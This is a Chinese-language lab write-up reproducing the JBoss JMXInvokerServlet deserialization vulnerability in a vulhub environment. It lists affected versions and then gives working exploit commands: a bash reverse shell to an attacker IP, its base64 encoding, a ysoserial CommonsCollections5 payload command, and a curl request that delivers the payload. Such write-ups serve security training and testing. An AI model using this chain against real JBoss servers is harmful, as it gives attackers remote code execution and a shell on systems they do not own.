一、漏洞说明
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
二、影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
三、搭建环境
cd vulhub\jboss\JMXInvokerServlet-deserialization
四、漏洞验证
访问:8080/invoker/JMXInvokerServlet,返回如下页面(下载文件),说明接口开放,此接口存在反序列化漏洞。
下载了以下文件
五、漏洞复现
1.nc开启监听
2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。
然后,将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser